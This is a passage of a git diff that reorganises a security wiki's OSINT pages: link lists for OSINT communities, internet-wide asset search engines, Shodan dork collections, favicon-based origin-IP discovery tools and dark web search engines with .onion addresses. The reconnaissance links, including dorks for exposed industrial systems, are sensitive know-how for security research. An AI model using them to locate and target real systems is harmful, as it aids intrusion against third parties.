Videos](https://www.youtube.com/c/0x4rk%C3%98/videos) +* [OSINTCurious Videos](https://www.youtube.com/channel/UCjzceWf-OT3ImIKztzGkipA/videos) +* [OSINTCurious 10 Minute Tips](https://www.youtube.com/playlist?list=PL423I_gHbWUUOs09899rex4t2l5py9YIk) +* [OSINTCurious Webcasts](https://osintcurio.us/osintvideosandpodcasts/) +* [Irongeek OSINT Videos](https://www.youtube.com/user/irongeek/search?query=OSINT) +* [Authentic8](https://www.youtube.com/user/Authentic8TV) +* [Toddington Drop In and Learn](https://www.toddington.com/drop-in-and-learn-webcasts/) +* [Ben Strick OSINT at Home](https://www.youtube.com/playlist?list=PLrFPX1Vfqk3ehZKSFeb9pVIHqxqrNW8Sy) +* [OSINT Dojo](https://www.youtube.com/osintdojo) +* [Trace Labs YouTube](https://www.youtube.com/channel/UCezKbcbnYtrwRXfGzgQMI3w) + +## Forums and Chat + +* [OSINT Matrix Room](https://app.element.io/#/room/#osint-chat:matrix.org) +* [OSINT Team](https://osint.team/home) +* [Websleuths](https://www.websleuths.com/forums/) +* [r/OSINT](https://www.reddit.com/r/OSINT/) +* [r/RBI](https://www.reddit.com/r/RBI/) +* [Bellingcat Discord](https://discord.gg/nTaNPmz) +* [OSINT-FR Discord](https://discord.osintfr.com) +* [Project Owl Discord](https://discord.gg/projectowl) +* [OSINT Curious Discord](https://discord.gg/eaz5AqHDfK) +* [OSINTion Discord](https://discord.gg/p78TTGa) +* [Trace Labs Slack](https://tracelabs.slack.com) + +## Volunteer OSINT + +These projects use OSINT skills for public-interest investigations. Review each group's mission, legal boundaries, and evidence-handling expectations before joining. + +* [Trace Labs](https://www.tracelabs.org/) +* [Innocent Lives Foundation](https://www.innocentlivesfoundation.org/) +* [Badass Army](https://badassarmy.org/) +* [Citizen Evidence Lab](https://citizenevidence.org/) +* [CrisisMappers](https://crisismapping.ning.com/) +* [FBI ECAP](https://www.fbi.gov/wanted/ecap) +* [InformNapalm](https://informnapalm.org/en/) +* [Locate International](https://locate.international/) +* [National Center for Missing and Exploited Children](https://www.missingkids.org/) +* [National Child Protection Task Force](https://www.ncptf.org/) +* [Our Rescue](https://ourrescue.org/) +* [Europol Stop Child Abuse](https://www.europol.europa.eu/stopchildabuse) +* [Stop The Traffik](https://www.stopthetraffik.org/) + +## OSINT Tool and Resource Collections + +* [Awesome OSINT](https://github.com/jivoi/awesome-osint) +* [OSINT Framework](https://osintframework.com/) +* [Ultimate OSINT Collection](https://start.me/p/DPYPMz/the-ultimate-osint-collection) +* [Aware Online OSINT Tools](https://www.aware-online.com/en/osint-tools/) * [OpenOSINT Team Tools](https://github.com/IVMachiavelli/OSINT_Team_Links) * [Sector035 OSINT Links](https://sector035.nl/links) -* [Technisette OSINT Links](https://www.technisette.com/p/tools) -* [Trouble Fake - start.me](https://start.me/p/QRQb0O/trouble-fake) +* [Technisette OSINT Tools](https://www.technisette.com/p/tools) +* [Trouble Fake start.me](https://start.me/p/QRQb0O/trouble-fake) * [5nacks OSINT Bookmarks](https://github.com/5nacks/OSINTBookmarks) * [OSINT Combine Bookmarks](https://www.osintcombine.com/osint-bookmarks) -* [Andy Black and Associates OSINT Toolkit](https://www.andyblackassociates.co.uk/resources-andy-black-associates/osint-toolkit/) -* [Palliscope OSINT Bookmarks](https://www.paliscope.com/2020/11/04/200-of-our-best-osint-investigation-tools-free-download/) -* [OSINT Stuff's Pile of OSINT links](https://cipher387.github.io/osint_stuff_tool_collection/) -* [Terrorism & Radicalisation Research Dashboard - start.me](https://start.me/p/OmExgb/terrorism-radicalisation-research-dashboard) -* [OSINT\_Encyclopedia](https://github.com/optiv/OSINT_Encyclopedia) -* [https://start.me/p/rxeRqr/aml-toolbox](https://start.me/p/rxeRqr/aml-toolbox) -* [https://www.aware-online.com/en/osint-tools/](https://www.aware-online.com/en/osint-tools/) -* [https://start.me/p/rxRbpo/ti?locale=en](https://start.me/p/rxRbpo/ti?locale=en) -* [https://start.me/p/W1AXYo/toolkit](https://start.me/p/W1AXYo/toolkit) -* [https://start.me/p/ZME8nR/osint](https://start.me/p/ZME8nR/osint) -* [https://www.osinttechniques.com/osint-tools.html](https://www.osinttechniques.com/osint-tools.html) -* [https://start.me/p/4K0DXg/social-media](https://start.me/p/4K0DXg/social-media) -* [https://thecyberpost.com/open-source-intelligence-osint-tools/](https://thecyberpost.com/open-source-intelligence-osint-tools/) -* [https://start.me/p/ZGAzN7/verification-toolset](https://start.me/p/ZGAzN7/verification-toolset) -* [https://map.malfrats.industries/](https://map.malfrats.industries/) -* [https://github.com/cipher387/API-s-for-OSINT](https://github.com/cipher387/API-s-for-OSINT) -* [https://github.com/cipher387/osint\_stuff\_tool\_collection](https://github.com/cipher387/osint_stuff_tool_collection) - -
- -
- -OSINT Virtual Machines +* [Andy Black OSINT Toolkit](https://www.andyblackassociates.co.uk/resources-andy-black-associates/osint-toolkit/) +* [Paliscope OSINT Tools](https://www.paliscope.com/2020/11/04/200-of-our-best-osint-investigation-tools-free-download/) +* [Cipher387 OSINT Stuff](https://cipher387.github.io/osint_stuff_tool_collection/) +* [OSINT Encyclopedia](https://github.com/optiv/OSINT_Encyclopedia) +* [OSINT APIs](https://github.com/cipher387/API-s-for-OSINT) -* [https://www.tracelabs.org/initiatives/osint-vm](https://www.tracelabs.org/initiatives/osint-vm) - specialized OSINT VM specifically to bring together the most effective OSINT tools and customized scripts +## OSINT Virtual Machines and Frameworks -- [https://tsurugi-linux.org/](https://tsurugi-linux.org/) - 64 bit Linux version to perform digital forensics analysis and OSINT research. - * [https://tsurugi-linux.org/documentation\_tsurugi\_linux\_tools\_listing\_2021.php](https://tsurugi-linux.org/documentation_tsurugi_linux_tools_listing_2021.php) +* [Trace Labs OSINT VM](https://www.tracelabs.org/initiatives/osint-vm) - OSINT virtual machine for investigations. +* [Tsurugi Linux](https://tsurugi-linux.org/) - DFIR-focused Linux distribution that also includes OSINT tools. + * [Tsurugi Tools Listing](https://tsurugi-linux.org/documentation_tsurugi_linux_tools_listing_2021.php) +* [iHunt](https://nitinpandey.in/ihunt/) - OSINT framework grouped by investigation purpose. +* [osrframework](https://www.kali.org/tools/osrframework/) - OSINT libraries and tools for username, DNS, leak, and deep-web research. +* [Mr.Holmes](https://github.com/Lucksi/Mr.Holmes) - OSINT toolkit for domains, phone numbers, and social accounts. -
- -
- -Frameworks - -* [https://nitinpandey.in/ihunt/#](https://nitinpandey.in/ihunt/) - Detailed OSINT framework with dozens of tools grouped by purpose. -* [osrframework](https://www.kali.org/tools/osrframework/) - This package contains a set of libraries developed by i3visio to perform Open Source Intelligence tasks. They include references to a bunch of different applications related to username checking, DNS lookups, information leaks research, deep web search, regular expressions extraction and many others. -* [Scrummage](https://github.com/matamorphosis/Scrummage) — Ultimate OSINT and Threat Hunting Framework -* [Mr.Holmes](https://github.com/Lucksi/Mr.Holmes) — osint toolkit for gathering information about domains, phone numbers and social media accounts - -
+Recon-ng, SpiderFoot, Sn1per, and similar broad recon frameworks are maintained with Red Offensive recon tooling. {% content-ref url="../../red-offensive/scanning-active-recon/recon-frameworks.md" %} [recon-frameworks.md](../../red-offensive/scanning-active-recon/recon-frameworks.md) {% endcontent-ref %} -### Tools by Category +Scrummage is better treated as a threat-hunting/OSINT framework and is cross-referenced from Threat Hunting. + +{% content-ref url="../../blue-defense/threat-hunting.md" %} +[threat-hunting.md](../../blue-defense/threat-hunting.md) +{% endcontent-ref %} + +## Tools by Category {% content-ref url="search-engines/" %} [search-engines](search-engines/) diff --git a/cyber-intelligence/osint/cyber-search.md b/cyber-intelligence/osint/cyber-search.md index fa7e094..6e0aadd 100644 --- a/cyber-intelligence/osint/cyber-search.md +++ b/cyber-intelligence/osint/cyber-search.md @@ -1,73 +1,102 @@ # Cyber Search Engines -## [Shodan](https://www.shodan.io/) +Cyber search engines are specialized tools that continuously scan and index internet-connected devices, services, and assets. Unlike traditional search engines that index web content, these platforms focus on technical infrastructure, vulnerabilities, and security-related metadata. They are essential tools for security professionals conducting reconnaissance, threat hunting, asset discovery, and vulnerability management. -Shodan is often called the "Hacker's Search Engine". Shodan has servers scanning the entire internet for devices. Once it finds them, it maps their ports and collects other useful information. Shodan has advanced search commands similar to google dorks. Shodan also has a flexible API that can be leveraged into many other tools. +## [Shodan](https://www.shodan.io/) -* [https://cli.shodan.io/](https://cli.shodan.io/) -* [https://beta.shodan.io/search/filters](https://beta.shodan.io/search/filters) -* [https://tryhackme.com/room/shodan](https://tryhackme.com/room/shodan) -* _Operator Handbook: Shodan CLI - pg. 274_ +Shodan is often called the "Search Engine for the Internet of Everything" or "Hacker's Search Engine". Unlike traditional search engines, Shodan continuously scans the entire internet for connected devices and services, cataloging their open ports, running services, and associated metadata. It supports advanced search operators (similar to Google dorks) that enable precise queries for specific technologies, vulnerabilities, or configurations. Shodan's flexible API allows integration with security tools and automated workflows. + +**Key Resources:** +* [Shodan CLI Documentation](https://cli.shodan.io/) - Command-line interface for Shodan queries and automation +* [Shodan Search Filters](https://beta.shodan.io/search/filters) - Complete list of available search filters and operators +* Shodan training has been moved to the Training section.
-Shodan Dorking +Shodan Dorking (Search Query Collections) + +Shodan "dorks" are specialized search queries designed to find specific types of devices, vulnerabilities, or configurations. These collections provide ready-to-use queries for security research and reconnaissance. -* [Awesome List Collection: Shodan Queries](https://github.com/jakejarvis/awesome-shodan-queries) -* [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Recon/Shodan%20Dorks.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Recon/Shodan%20Dorks.md) -* [https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/1-part-100-article/google/Shodan%20Queries.txt](https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/1-part-100-article/google/Shodan%20Queries.txt) -* [https://github.com/humblelad/Shodan-Dorks](https://github.com/humblelad/Shodan-Dorks) -* [https://github.com/AustrianEnergyCERT/ICS\_IoT\_Shodan\_Dorks](https://github.com/AustrianEnergyCERT/ICS\_IoT\_Shodan\_Dorks) -* [https://github.com/lothos612/shodan](https://github.com/lothos612/shodan) -* [https://github.com/IFLinfosec/shodan-dorks](https://github.com/IFLinfosec/shodan-dorks) -* [https://www.osintme.com/index.php/2021/01/16/ultimate-osint-with-shodan-100-great-shodan-queries/](https://www.osintme.com/index.php/2021/01/16/ultimate-osint-with-shodan-100-great-shodan-queries/) +* [Awesome Shodan Queries](https://github.com/jakejarvis/awesome-shodan-queries) - Curated collection of useful Shodan search queries +* [Bug Bounty Shodan Dorks](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Recon/Shodan%20Dorks.md) - Queries focused on bug bounty reconnaissance +* [Pentesting Bible - Shodan Queries](https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/1-part-100-article/google/Shodan%20Queries.txt) - Comprehensive pentesting query collection +* [Shodan-Dorks by humblelad](https://github.com/humblelad/Shodan-Dorks) - General purpose Shodan dork repository +* [ICS/IoT Shodan Dorks](https://github.com/AustrianEnergyCERT/ICS\_IoT\_Shodan\_Dorks) - Specialized queries for Industrial Control Systems and IoT devices +* [Shodan Dorks by lothos612](https://github.com/lothos612/shodan) - Additional query collection +* [IFLinfosec Shodan Dorks](https://github.com/IFLinfosec/shodan-dorks) - InfoSec-focused search queries +* [Ultimate OSINT with Shodan](https://www.osintme.com/index.php/2021/01/16/ultimate-osint-with-shodan-100-great-shodan-queries/) - 100 practical Shodan queries for OSINT
{% embed url="https://youtu.be/v2EdwgX72PQ" %} -## Cyber Search Tools +## Additional Cyber Search Tools -Asset Search Engines are fantastic tools that regular scan the internet taking inventory of every entity that they can detect. Using large networks of sensors and scanners, they can document items like registration information, open ports, documented network traffic, and much more. +Asset search engines are powerful platforms that continuously scan the internet, cataloging every detectable entity and their characteristics. Using distributed networks of sensors and scanners, these tools collect comprehensive data including domain registration information, open ports, running services, SSL certificates, vulnerabilities, and network traffic patterns. This data is invaluable for attack surface management, threat intelligence, and security research.
Internet Asset Search Engines -* [Spyse](https://spyse.com/) - The Internet Asset Search Engine. Spyse has some advanced scanning features that can allow you to discover seen vulnerabilities by CVE score or subdomains, on top of detailed metadata on your target. With its heavy toolset and API functionality, it is a popular choice for automated enrichment. -* [https://fullhunt.io/](https://fullhunt.io/) - **FullHunt** is the attack surface database of the entire Internet. -* [Maltiverse](https://maltiverse.com/search) - A search engine for threat based indicators. Maltiverse also has multiple threat feeds you can ingest into your intel platform for alerting. -* [Onyphe](https://www.onyphe.io/) - A Cyber Defense Search Engine for open-source and cyber threat intelligence data collected by crawling various sources available on the Internet or by listening to Internet background noise. ONYPHE does correlate this information with data gathered by performing active Internet scanning for connected devices and also by crawling Web site URLs. - * [https://www.onyphe.io/documentation/dorkpedia](https://www.onyphe.io/documentation/dorkpedia) - - - -* [IntellX](https://intelx.io/) - Search Engine that allows searching with selectors, i.e. specific search terms such as email addresses, domains, URLs, IPs, CIDRs, Bitcoin addresses, IPFS hashes, etc. It searches in places such as the darknet, document sharing platforms, whois data, public data leaks and others. It also keeps a historical data archive of results, similar to how the Wayback Machine from archive.org stores historical copies of websites. -* [https://synapsint.com/](https://synapsint.com/) - The unified OSINT research tool that allows you to search for various data points about different indicators. -* [https://natlas.io/](https://natlas.io/) - Scaling Network Scanning Utility -* [Netlas.io](https://netlas.io/) - Discover, Research and Monitor any Assets Available Online -* [Pulsedive](https://pulsedive.com/) - Provides a great balance between technical information and enriched intelligence -* [Guardicore Threat Intelligence](https://threatintelligence.guardicore.com/) - Intelligence feeds and enrichment by Gaurdicore's research group and sensor network. -* [ThreatMiner](https://www.threatminer.org/) - ThreatMiner is a threat intelligence portal designed to enable analysts to research under a single interface. It is used in the [SANS FOR578 Cyber Threat Intelligence course](https://digital-forensics.sans.org/media/DFPS\_FOR578\_v1.5\_4-19.pdf) -* [OPSWAT Metadefender](https://metadefender.opswat.com/?lang=en) - Contextual database of Indicators, vulnerabilities, and other data parseable for enrichment. -* [ShadowServer](https://www.shadowserver.org/what-we-do/) - A free utility that has a huge amount of data from gathered honeypots, malware samples, and internet wide scan data. -* [Threat Encyclopedia by Trend Micro](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/) - Huge intelligence repository for looking up information on malware, vulnerabilities, and even threat actors. -* [https://threatview.io/](https://threatview.io/) - Collection of useable threat intelligence feeds and resources by purpose. -* [BinaryEdge ](https://app.binaryedge.io/services/query)- Another internet scanning platform. Has the search ability to look for any Indicator of Compromise, database, webcam, or even public facing Industrial Control Systems. -* [Censys.io ](https://search.censys.io/)- A cyber search engine focused around asset management. Helps with asset discovery and alerting. -* [https://leakix.net/](https://leakix.net/) - Search LeakIX for host data leaks, open ports, software and geoip. -* [Riddler](https://riddler.io/) - Allows you to search in a high quality dataset +* [FullHunt](https://fullhunt.io/) - Attack surface database covering the entire internet with focus on exposures, misconfigurations, and vulnerabilities. +* [Maltiverse](https://maltiverse.com/search) - Specialized search engine for threat-based indicators (IPs, domains, hashes, URLs). Provides multiple threat intelligence feeds that can be integrated into security platforms for real-time alerting. +* [Onyphe](https://www.onyphe.io/) - Cyber defense search engine aggregating open-source and threat intelligence data from multiple sources including internet background noise, active scanning of connected devices, and web crawling. Excels at correlating diverse data sources for comprehensive analysis. + * [Onyphe Dorkpedia](https://www.onyphe.io/documentation/dorkpedia) - Search query documentation and examples + +* [IntelligenceX](https://intelx.io/) - Advanced search engine supporting specialized selectors including email addresses, domains, URLs, IPs, CIDRs, Bitcoin addresses, and IPFS hashes. Searches across darknet sources, document sharing platforms, WHOIS data, and public data breaches. Maintains historical archives similar to the Wayback Machine for tracking changes over time. +* [Synapsint](https://synapsint.com/) - Unified OSINT research platform that aggregates data from multiple sources, allowing comprehensive searches across various indicators and data types. +* [Natlas](https://natlas.io/) - Self-hostable network scanning platform designed for scaling and managing large-scale reconnaissance operations. +* [Netlas.io](https://netlas.io/) - Internet asset discovery and monitoring platform for tracking online infrastructure and detecting changes in attack surface. +* [Pulsedive](https://pulsedive.com/) - Threat intelligence platform that balances raw technical data with enriched context and community-driven insights. Excellent for both manual analysis and automated lookups. +* [ThreatMiner](https://www.threatminer.org/) - Threat intelligence portal aggregating data from multiple sources into a single analyst interface. Featured in the [SANS FOR578 Cyber Threat Intelligence course](https://digital-forensics.sans.org/media/DFPS\_FOR578\_v1.5\_4-19.pdf) as a training tool. +* [OPSWAT MetaDefender](https://metadefender.opswat.com/?lang=en) - Multi-engine malware scanning and threat intelligence platform providing contextual analysis of indicators, vulnerabilities, and files. +* [ShadowServer](https://www.shadowserver.org/what-we-do/) - Free threat intelligence service aggregating data from honeypots, malware collection systems, and internet-wide scanning infrastructure. Valuable for tracking botnet activity and vulnerable systems. +* [Trend Micro Threat Encyclopedia](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/) - Comprehensive intelligence repository covering malware families, vulnerabilities (CVEs), and threat actor profiles. +* [ThreatView.io](https://threatview.io/) - Curated directory of threat intelligence feeds and resources organized by use case and data type. +* [BinaryEdge](https://app.binaryedge.io/services/query) - Internet scanning platform specializing in discovering exposed services, databases, webcams, and Industrial Control Systems (ICS). Strong capabilities for identifying indicators of compromise. +* [Censys](https://search.censys.io/) - Internet-wide asset discovery platform focused on certificate transparency, scanning data, and continuous monitoring. Excellent for attack surface management and alerting on infrastructure changes. +* [LeakIX](https://leakix.net/) - Search engine focused on finding publicly exposed databases, API keys, configuration files, and misconfigurations. Provides real-time scanning data and leak detection across the internet. + +
+ +
+ +Favicon Analysis Tools + +Favicon hashes can be used as unique fingerprints to identify web applications and infrastructure across the internet. These tools leverage favicon analysis for reconnaissance and asset discovery. + +* [FavFreak](https://github.com/devanshbatham/FavFreak) - Tool for weaponizing favicon.ico files in bug bounty reconnaissance and OSINT investigations. Generates favicon hashes for searching across platforms like Shodan. + * [Weaponizing favicon.ico Article](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) - Detailed guide on favicon-based reconnaissance techniques +* [fav-up](https://github.com/pielco11/fav-up) - Performs IP address lookups using favicon hashes via Shodan. Particularly useful for discovering real IP addresses of servers hidden behind CDNs like Cloudflare. + * [Cloud Hunting Article](https://pielco11.ovh/posts/cloud-hunting/) - Methodology for finding servers behind cloud protection
+## Additional Specialized Search Engines
-Favicon tools +Alternative Internet Scanning Platforms + +These platforms offer similar capabilities to Shodan but with unique features, data sources, or regional coverage: -* [FavFreak](https://github.com/devanshbatham/FavFreak) - Weaponizing favicon.ico for BugBounties , OSINT and what not - * [https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) -* [fav-up](https://github.com/pielco11/fav-up) - IP lookup by favicon using Shodan. Helps to find IP addresses hidden behind Cloudflare - * [https://pielco11.ovh/posts/cloud-hunting/](https://pielco11.ovh/posts/cloud-hunting/) -* [https://besticon.herokuapp.com/](https://besticon.herokuapp.com/) - A service finding icons on web sites +* [ZoomEye](https://www.zoomeye.org/) - Chinese cyberspace mapping platform that scans and indexes internet-connected devices. Offers both web-based search and API access with strong coverage of Asian networks. +* [Fofa](https://en.fofa.info/) - Chinese cyber asset search engine with extensive device fingerprinting capabilities and advanced search syntax. Popular for discovering exposed services and devices globally. +* [Criminal IP](https://www.criminalip.io/) - Comprehensive cyber threat intelligence search engine providing real-time vulnerability detection, malicious IP tracking, and exposed asset discovery. Features user-friendly interface and detailed risk scoring. +* [Wigle](https://wigle.net/) - Wireless network mapping database. The world's largest database of wireless networks and cell towers, collected through wardriving and crowdsourcing.
+ +## Search Techniques and Dorking + +**Google Dorking** - The original advanced search technique using specialized operators to find specific information indexed by Google. While not specific to cybersecurity, it remains a fundamental OSINT skill for discovering exposed files, directories, vulnerable systems, and sensitive information. See the [search engines section](search-engines/) for detailed Google dork resources. + +**Shodan Dorking** - Similar concept applied to Shodan's search syntax (see Shodan section above). + +## Deprecated and Discontinued Services + +These tools are no longer actively maintained or have shut down their services. They are listed here for historical reference: + +* **Spyse (spyse.com)** - Internet asset search engine acquired by SOCRadar in 2023. The original Spyse.com service was shut down and integrated into SOCRadar's commercial platform. Free public search capabilities are no longer available. Consider alternatives like FullHunt, Censys, or Netlas.io. +* **Riddler.io** - Historical internet scanning data and DNS records search engine. Service shut down in 2022. Consider alternatives like Censys or SecurityTrails for historical DNS data. +* **BestIcon (besticon.herokuapp.com)** - Web service for extracting favicon files. The Heroku-hosted public instance became unreliable after Heroku ended free tier hosting in 2022. The [open-source project](https://github.com/mat/besticon) can still be self-hosted. +* **Guardicore Threat Intelligence** - Free public threat intelligence portal. Discontinued after Akamai's acquisition of Guardicore in 2021. The platform was integrated into Akamai's commercial offerings. diff --git a/cyber-intelligence/osint/dark-web-search.md b/cyber-intelligence/osint/dark-web-search.md index c50084d..a971f8b 100644 --- a/cyber-intelligence/osint/dark-web-search.md +++ b/cyber-intelligence/osint/dark-web-search.md @@ -1,23 +1,19 @@ -# Dark-Web Search +# Dark Web Search -## **Dark Web Search** +Searching the Dark Web and Deep Web is a valuable intelligence activity that can yield diverse sources of threat intelligence. These resources are useful for identifying early indicators of compromise, monitoring data breaches, and tracking emerging trends in cybercrime. -Searching the Dark/Deep web is a great intelligence activity that can yield a multitude of different treasures. This is a great resource for spotting early indicators of a breach or getting the latest trends in cyber crime. - -\*Darknet and .onion sites change frequently. This list may not be up to date. +**Note:** Darknet and .onion sites change frequently. This list may not be current. Always verify site availability and exercise caution when accessing these resources.
Clearnet Search Engines -* [Ahmia](https://ahmia.fi/) - Ahmia searches hidden services on the Tor network. To access these hidden services, you need the [Tor browser bundle](https://www.torproject.org/projects/torbrowser.html). -* [Dark Search](https://darksearch.io/) - A clearnet search engine for searching the Dark Web -* [https://onionlandsearchengine.com/](https://onionlandsearchengine.com/) - A search engine for the deep web. Official onion site can be found [here.](http://3bbad7fauom4d6sgppalyqddsqbf5u5p56b5k5uk2zxsy3d6ey2jobad.onion/) -* [https://www.dargle.net/search](https://www.dargle.net/search) - A data aggregation platform for dark web domains. Using this directory, we can generate a portfolio of domains and their statuses, gain insight into the content and nature of these services, as well as the connections between them. -* [https://torwhois.com](https://torwhois.com) - TorWhois Onion Search -* [TheDevilsEye](https://github.com/rlyonheart/thedevilseye) — Search links in #darknet (.onion domain zone) from command line without using a Tor network. -* [Onion Search Engine (+maps, mail and pastebin)](https://onionsearchengine.com/) -* [KILOS Darknet Search Engine](http://dnmugu4755642434.onion.pet/captcha) +* [Ahmia](https://ahmia.fi/) - Active clearnet and .onion search engine for Tor hidden services. Provides both clearnet access and direct .onion access via Tor Browser. +* [Dark Search](https://darksearch.io/) - A clearnet search engine for searching the Dark Web. Actively maintained and functional. +* [Onion Land Search Engine](https://onionlandsearchengine.com/) - A search engine for the Deep Web. Official onion site available [here](http://3bbad7fauom4d6sgppalyqddsqbf5u5p56b5k5uk2zxsy3d6ey2jobad.onion/). +* [TorWhois](https://torwhois.com) - Query .onion addresses for information including last seen date, open ports, and running services. Command line usage: `whois -h torwhois.com [onion-address]` +* [TheDevilsEye](https://github.com/rlyonheart/thedevilseye) - Search darknet links (.onion domains) from the command line without connecting to the Tor network. +* [Torch](http://torchdeedp3i2jigzjdmfpn5ttjhthh5wbmda2rr3jvqjg5p77c54dqd.onion/) - One of the oldest and largest .onion search engines. Requires Tor Browser to access.
@@ -25,9 +21,7 @@ Searching the Dark/Deep web is a great intelligence activity that can yield a mu Invisible Internet Project (I2P) -* [https://i2psearch.com/](https://i2psearch.com/) - A I2P search engine. I2P gateway is used for the search results to access I2P hidden services, known as "eepsites". -* [https://ahmia.fi/i2p/](https://ahmia.fi/i2p/) - Another great I2P search engine. -* [http://nekhbet.com/i2p\_links.shtml](http://nekhbet.com/i2p\_links.shtml) - A neatly organized directory of eepsites. +* [Ahmia I2P](https://ahmia.fi/i2p/) - Ahmia's I2P search engine for discovering eepsites. Verified and actively maintained. @@ -35,11 +29,8 @@ Searching the Dark/Deep web is a great intelligence activity that can yield a mu Deep/Darknet Search Utility -* [Onion Link](http://onionlink.online) - Constantly curated list of popular Dark Web links. -* [Tor2Web ](https://tor2web.org/)- Tor2web is a software project to allow [Tor hidden services](https://en.wikipedia.org/wiki/List\_of\_Tor\_hidden\_services) to be accessed from a standard [browser](https://en.wikipedia.org/wiki/Web\_browser) without being connected to the [Tor network](https://en.wikipedia.org/wiki/Tor\_\(anonymity\_network\)) -* [Haystack](http://haystak5njsmn2hqkewecpaxetahtwhsbsa64jom2k22z5afxhnpxfid.onion/) - Search engine service to discover hidden services and gain access to onion sites or eepsites in the I2P network. -* [https://www.darkowl.com/darknetdataproducts](https://www.darkowl.com/darknetdataproducts) - A great tool for searching through different darknets including TOR, I2P, ZeroNet and paste sites. Requires a paid subscription. -* [https://iaca-darkweb-tools.com](https://iaca-darkweb-tools.com) - A collection of darkweb search tools. Allows you to query .onion search engines, marketplaces and social media sites. +* [Haystack](http://haystak5njsmn2hqkewecpaxetahtwhsbsa64jom2k22z5afxhnpxfid.onion/) - Active .onion search engine for discovering hidden services. Requires Tor Browser. +* [DarkOwl](https://www.darkowl.com/darknetdataproducts) - Commercial intelligence platform for searching multiple darknets including Tor, I2P, ZeroNet, and paste sites. Requires paid subscription. @@ -49,9 +40,8 @@ Searching the Dark/Deep web is a great intelligence activity that can yield a mu A peer-to-peer hypermedia protocol designed to preserve and grow humanity's knowledge by making the web upgradeable, resilient, and more open. -* [https://www.ipse.io/](https://www.ipse.io/) - An IPFS search engine. -* [https://ipfs-search.com/#/search](https://ipfs-search.com/#/search) - Another search engine for IPFS. -* [https://awesome.ipfs.io/datasets/](https://awesome.ipfs.io/datasets/) - A huge collection of all sorts of different data sets hosted via IPFS. +* [IPFS Search](https://ipfs-search.com/#/search) - Active search engine for discovering content on IPFS. +* [Awesome IPFS Datasets](https://awesome.ipfs.io/datasets/) - Extensive collection of datasets hosted via IPFS. @@ -59,13 +49,35 @@ A peer-to-peer hypermedia protocol designed to preserve and grow humanity's know Misc Sites and Tools -* [Dark Web Exposure and Phishing Detection Test](https://www.immuniweb.com/darkweb/) -* [Onion Search ](https://github.com/megadose/OnionSearch)- OnionSearch is a Python3 script that scrapes urls on different ".onion" search engines. -* [TorBot](https://github.com/DedSecInside/TorBot) - Open source Intel tool for searching and crawling the Dark Web. -* [https://torwhois.com](https://torwhois.com) - Look up an .onion address and see basic information such as date last seen, open ports, running software and banners. You can also query specific onions from the command line: `whois -h torwhois.com facebookcorewwwi.onion` -* [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. -* [https://darktracer.com/](https://darktracer.com/) - Darkweb intelligence too. Has a free version for a limited number of queries. -* [https://socradar.io/labs/darkmirror/](https://socradar.io/labs/darkmirror/) - Darkweb forum monitoring service +* [ImmuniWeb Dark Web Exposure Test](https://www.immuniweb.com/darkweb/) - Free test for dark web exposure and phishing detection. Active service. +* [OnionSearch](https://github.com/megadose/OnionSearch) - Python3 script that scrapes URLs from multiple .onion search engines. GitHub repository available. +* [TorBot](https://github.com/DedSecInside/TorBot) - Open-source intelligence tool for searching and crawling the Dark Web. Active GitHub project. +* [OnionScan](https://github.com/s-rah/onionscan) - Tool for investigating the Dark Web by scanning .onion sites for security issues and service fingerprinting. Note: Last updated 2018, but still functional. +* [Darkdump](https://github.com/josh0xA/darkdump) - Python-based dark web OSINT tool for searching and extracting data. GitHub repository available. +* [DarkOwl Vision](https://www.darkowl.com/) - Commercial dark web intelligence platform. Requires enterprise subscription. +* [Recorded Future](https://www.recordedfuture.com/) - Enterprise threat intelligence platform with dark web monitoring capabilities. Requires subscription. + + + +
+ +Deprecated or Discontinued Tools + +**Note:** These tools are listed for historical reference but are no longer operational, unreliable, or not recommended for use. + +* **Tor2Web (tor2web.org)** - Original project discontinued due to security concerns. The concept of .onion-to-web proxies still exists but using them compromises anonymity and security. Not recommended. +* **KILOS Darknet Search Engine** - This marketplace search engine has been seized/taken offline. No longer accessible. +* **Onion Link (onionlink.online)** - This specific URL appears to be defunct. Alternative link directories exist but frequently change. +* **IACA Darkweb Tools (iaca-darkweb-tools.com)** - This resource is no longer reliably accessible and may be discontinued. +* **Dargle (dargle.net)** - Service availability is inconsistent and unreliable. Consider using alternative aggregation platforms. +* **IPSE (ipse.io)** - IPFS search project appears to have stalled/been abandoned. Use IPFS Search instead. +* **Nekhbet I2P Links** - Very outdated directory that hasn't been maintained. Historical reference only. +* **I2P Search (i2psearch.com)** - This service's reliability is questionable. Use Ahmia I2P instead for verified I2P searching. +* **Onion Search Engine (onionsearchengine.com)** - Frequently offline and unreliable. Use Ahmia or Dark Search instead. +* **OSINT Party RSS Feed (osint.party/api/rss/fresh)** - Service status can vary. Verify before relying on it and treat returned onion links as untrusted. +* **DarkTracer** - Service availability has become inconsistent. +* **SOCRadar DarkMirror** - Access to this tool has become limited/restricted. +* **Flare (flare.io)** - Service has undergone changes; verify current availability and offerings.
